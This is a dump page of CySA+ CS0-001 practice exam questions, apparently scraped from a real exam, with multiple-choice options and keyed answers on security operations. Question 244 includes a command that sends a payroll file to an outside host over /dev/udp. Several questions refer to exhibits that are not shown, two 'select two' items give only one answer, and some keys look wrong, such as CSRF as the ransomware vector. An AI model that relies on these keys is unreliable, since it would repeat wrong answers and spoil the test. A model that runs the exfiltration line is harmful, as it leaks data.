[Mar-2022] Pass CS0-001 Exam in First Attempt UpdatedCS0-001 VCEDumps Exam Question
CSA+ Dumps CS0-001 Exam for Full Questions - Exam Study Guide
NEW QUESTION 243
When network administrators observe an increased amount of web traffic without an increased number of
financial transactions, the company is MOST likely experiencing which of the following attacks?
- A. Bluejacking
- B. Phishing
- C. DoS
- D. ARP cache poisoning
Answer: C
NEW QUESTION 244
A security analyst is performing a routine check on the SIEM logs related to the commands used by operators and detects several suspicious entries from different users. Which of the following would require immediate attention?
- A. cat/etc/passwd
- B. nmap -A -sV 192.168.1.235
- C. mysql -h 192.168.1.235 -u test -p
- D. cat payroll.csv > /dev/udp/123.456.123.456/53
Answer: D
NEW QUESTION 245
An administrator has been investigating the way in which an actor had been exfiltrating confidential data from a web server to a foreign host. After a thorough forensic review, the administrator determined the server's BIOS had been modified by rootkit installation. After removing the rootkit and flashing the BIOS to a known good state, which of the following would BEST protect against future adversary access to the BIOS, in case another rootkit is installed?
- A. Host-based IDS
- B. File integrity monitoring
- C. Anti-malware application
- D. TPM data sealing
Answer: D
NEW QUESTION 246
While investigating an Incident, a security analyst reviews the output of the history command on a Linux machine. The analyst receives the following output:
Which of the following should the analyst conclude from the analysis of this output?
- A. A user who is not visible from the GUI has been added.
- B. Log files In /var/ log/ have been deleted.
- C. Persistence has been established on port 899.
- D. A listener has been established on 192.168.100.253.
Answer: C
NEW QUESTION 247
A security analyst is preparing for the company's upcoming audit. Upon review of the company's latest vulnerability scan, the security analyst finds the following open issues:
Which of the following vulnerabilities should be prioritized for remediation FIRST?
- A. Anonymous FTP enabled
- B. Unsupported web server detection
- C. ICMP timestamp request remote date disclosure
- D. Microsoft Windows SMB service enumeration via \srvsvc
Answer: B
NEW QUESTION 248
A vulnerability scan has returned the following information:
Which of the following describes the meaning of these results?
- A. There is an unknown bug in a Lotus server with no Bugtraq ID.
- B. Trend Micro has a known exploit that must be resolved or patched.
- C. Connecting to the host using a null session allows enumeration of share names.
- D. No CVE is present, so it is a false positive caused by Lotus running on a Windows server.
Answer: C
NEW QUESTION 249
A small company Is publishing a new web application to receive customer feedback related to Its products. The web server will only host a form to receive the customer feedback and store It In a local database. The web server is placed In a DMZ network, and the web service and filesystem have been hardened. However, the cybersecurity analyst discovers data from the database can be mined from over the Internet. Which of the following should the cybersecurity analyst recommend be done to provide temporary mitigation from unauthorized access to the database?
- A. Deploy a web application firewall to protect the web application from attacks to the database.
- B. Configure the database to listen for Incoming connections on the Internal network.
- C. Change the database connection string and apply necessary patches.
- D. Configure an ACL in the border firewall to block all connections to the web server for ports different than 80 and 443.
Answer: A
NEW QUESTION 250
An organization is attempting to harden its web servers and reduce the information that might be disclosed by potential attackers. A security analyst is reviewing vulnerability scan results from a recent web server scan.
Portions of the scan results are shown below:
Which of the following lines indicates information disclosure about the host that needs to be remediated?
- A. Access Path: http://myOrg.com/mailingList.htm
- B. Response: C:\Documents\MarySmith\mailingList.pdf
- C. Finding#5144322
- D. Request: GET http://myOrg.com/mailingList.aspx?content=volunteer
- E. First Time Detected 10 Nov 2015 09:00 GMT-0600
Answer: B
NEW QUESTION 251
A system administrator who was using an account with elevated privileges deleted a large amount of log files generated by a virtual hypervisor in order to free up disk space. These log files are needed by the security team to analyze the health of the virtual machines.
Which of the following compensating controls would help prevent this from reoccurring?
(Select two.)
- A. Succession planning
- B. Job rotation
- C. Personnel training
- D. Separation of duties
- E. Mandatory vacation
Answer: D
NEW QUESTION 252
A security analyst is creating ACLs on a perimeter firewall that will deny inbound packets that are from
internal addresses, reversed external addresses, and multicast addresses. Which of the following is the
analyst attempting to prevent?
- A. Man-in-the-middle attacks
- B. DDoS attacks
- C. Broadcast storms
- D. Spoofing attacks
Answer: D
NEW QUESTION 253
An insurance company employs quick-response team drivers that can corporate issued mobile devices with the insurance company's app installed on them Devices are configuration hardened by an MOM and kept up to date. The employees use the app to collect insurance claim into formation and process payments Recently, a number of customers have filed complaints of credit card fraud against the insurance company, Which occurred shortly after their payments were processed via the mobile app. The cyber- incidence response team has been asked investigate. Which of the following is MOST likely the cause? ^
- A. 3G and less secure cellular technologies ate not restricted.
- B. USB tethering is enabled.
- C. The MDM server Is misconfigured.
- D. The app does not employ TLS.
Answer: D
NEW QUESTION 254
During a review of security controls, an analyst was able to connect to an external, unsecured FTP server from a workstation. The analyst was troubleshooting and reviewed the ACLs of the segment firewall the workstation is connected to:
Based on the ACLs above, which of the following explains why the analyst was able to connect to the FTP server?
- A. FTP was allowed as being outbound from Seq 9 of the ACL.
- B. FTP was allowed as being included in Seq 3 and Seq 4 of the ACL.
- C. FTP was explicitly allowed in Seq 8 of the ACL.
- D. FTP was allowed in Seq 10 of the ACL.
Answer: C
NEW QUESTION 255
A security analyst notices PII has been copied from the customer database to an anonymous FTP server
in the DMZ. Firewall logs indicate the customer database has not been accessed from anonymous FTP
server. Which of the following departments should make a decision about pursuing further investigation?
(Choose two.)
- A. Executive management
- B. Human resources
- C. IT management
- D. Legal
- E. Public relations
Answer: A
NEW QUESTION 256
Which of the following remediation strategies are MOST effective in reducing the risk of a network-based compromise of embedded ICS? (Select two.)
- A. Disabling unused services
- B. Patching
- C. Firewalling
- D. NIDS
- E. Segmentation
Answer: A,E
NEW QUESTION 257
An employee was conducting research on the Internet when a message from cyber criminals appeared on the screen, stating the hard drive was just encrypted by a ransomware variant. An analyst observes the following:
Antivirus signatures were updated recently
The desktop background was changed
Web proxy logs show browsing to various information security sites and ad network traffic There is a high volume of hard disk activity on the file server SMTP server shown the employee recently received several emails from blocked senders The company recently switched web hosting providers There are several IPS alerts for external port scans Which of the following describes how the employee got this type of ransomware?
- A. The employee opened an email attachment
- B. The employee fell victim to a CSRF attack
- C. The employee updated antivirus signatures
- D. The employee was using another user's credentials
Answer: B
NEW QUESTION 258
During a web application vulnerability scan, it was discovered that the application would display inappropriate data after certain key phrases were entered into a webform connected to a SQL database server. Which of the following should be used to reduce the likelihood of this type of attack returning sensitive data?
- A. Application fuzzing
- B. Peer review code
- C. Static code analysis
- D. Input validation
Answer: D
NEW QUESTION 259
A security analyst reserved several service tickets reporting that a company storefront website is not accessible by internal domain users. However, external users ate accessing the website without issue. Which of the following is the MOST likely reason for this behavior?
- A. The time synchronization server is corrupted.
- B. The DNS server is corrupted.
- C. The certificate is expired.
- D. The FQDN is incorrect.
Answer: B
NEW QUESTION 260
Which of the following countermeasures should the security administrate apply to MOST effectively mitigate Rootkit level infections of the organization's workstation devices?
- A. Remove local administrator privileges.
- B. Enforce a system state recovery after each device reboot.
- C. Install a secondary virus protection application.
- D. Configure a BIOS-level password on the device.
Answer: C
NEW QUESTION 261
An alert has been distributed throughout the information security community regarding a critical Apache vulnerability. Which of the following courses of action would ONLY identify the known vulnerability?
- A. Perform an unauthenticated vulnerability scan on all servers in the environment.
- B. Perform a scan for the specific vulnerability on all web servers.
- C. Perform an authenticated scan on all web servers in the environment.
- D. Perform a web vulnerability scan on all servers in the environment.
Answer: B
NEW QUESTION 262
......
Authentic Best resources for CS0-001 Online Practice Exam: https://www.vcedumps.com/CS0-001-examcollection.html
